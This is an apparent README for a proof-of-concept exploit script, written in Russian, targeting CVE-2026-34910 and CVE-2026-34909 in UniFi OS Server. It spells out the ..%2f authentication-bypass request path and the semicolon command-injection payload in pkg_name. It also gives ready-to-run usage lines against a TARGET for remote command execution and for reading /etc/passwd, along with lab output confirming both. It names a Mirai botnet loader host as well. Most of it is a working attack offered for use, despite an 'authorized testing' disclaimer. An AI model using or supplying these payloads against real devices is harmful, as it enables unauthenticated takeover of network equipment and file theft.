
CVE-2026-34910/34909 — неавторизованное RCE в UniFi OS + чтение файлов через обход аутентификации ..%2f (CVSS 10.0, KEV, Mirai ITW)
Неаутентифицированная инъекция команд (RCE) (CVE-2026-34910) + обход пути
для произвольного чтения файлов (CVE-2026-34909) в UniFi OS Server.
CVSS 10.0 (критический) для каждой · включены в CISA KEV · активно
эксплуатируются ботнетом на основе Mirai (имплант azsxd).
Ubiquiti UniFi OS поставляется с nginx-шлюзом аутентификации, который считает
публичным любой запрос, чей RAW URI начинается с /api/auth/validate-sso/,
но маршрутизирует по НОРМАЛИЗОВАННОМУ URI (декодирует %2f → / и
сворачивает ../). Кодирование обхода пути заставляет эти два представления
разойтись:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ достигает внутреннего обработчика обновления пакетов, который передаёт pkg_name в
/bin/sh -c → неаутентифицированный RCE в рамках одного запроса.
Тот же примитив против /app-assets/... читает файлы с диска
(CVE-2026-34909).
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
RCE-полезная нагрузка внедряет точку с запятой во внутреннюю shell-команду обработчика
sudo systemctl stop <pkg_name>: pkg_name=evil;<CMD> →
sudo systemctl stop evil;<CMD> — внедрённая команда выполняется на хосте
от имени пользователя ucs-update.
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Command: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Response: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Request sent — command executed on target
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ ПОЛНОСТЬЮ ПРОВЕРЕНО — RCE подтверждён на реальном UniFi OS Server 5.0.6 (уязвимая, настройка завершена), запущенном в Docker (hieutq/unifi-os-server:5.0.6-amd64):
- Обход аутентификации через
..%2fдостигает внутреннего обработчикаlatest_package(ответ:CODE_SYSTEM_ERROR/ "pkg_name required" — а не 400 от nginx).pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=trueсоздал файл на цели (-rw-r--r-- ucs-update) → внедрение команд → RCE подтверждён.- На пропатченной UniFi OS 5.1.21 тот же запрос возвращает HTTP 400 (nginx отклоняет расхождение между исходным и нормализованным URI), что подтверждает чистое отрицательное срабатывание.
Настройка была завершена через настоящий веб-мастер (имя устройства → учётные данные → пароль консоли → завершение), поэтому лабораторная среда соответствует устройству с производственной установкой.
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] VULNERABLE — handler reached (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] File: /etc/passwd
[*] HTTP 200
[+] File contents (80 bytes):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | Критичность | Затронуто | Исправлено |
|---|---|---|---|
| CVE-2026-34910 | 10.0 Критическая | UniFi OS Server (до SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 Критическая | UniFi OS Server (до SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 Критическая | UniFi OS Server (до SAB-064) | SAB-064 |
Ботнет на основе Mirai/Gafgyt (имплант azsxd v2.0) объединяет обход аутентификации +
внедрение команд для неаутентифицированного RCE — мультиархитектурный загрузчик размещён с
185.228.26.16. См. разбор от pwndefend.
Только для авторизованного тестирования безопасности и образовательных целей.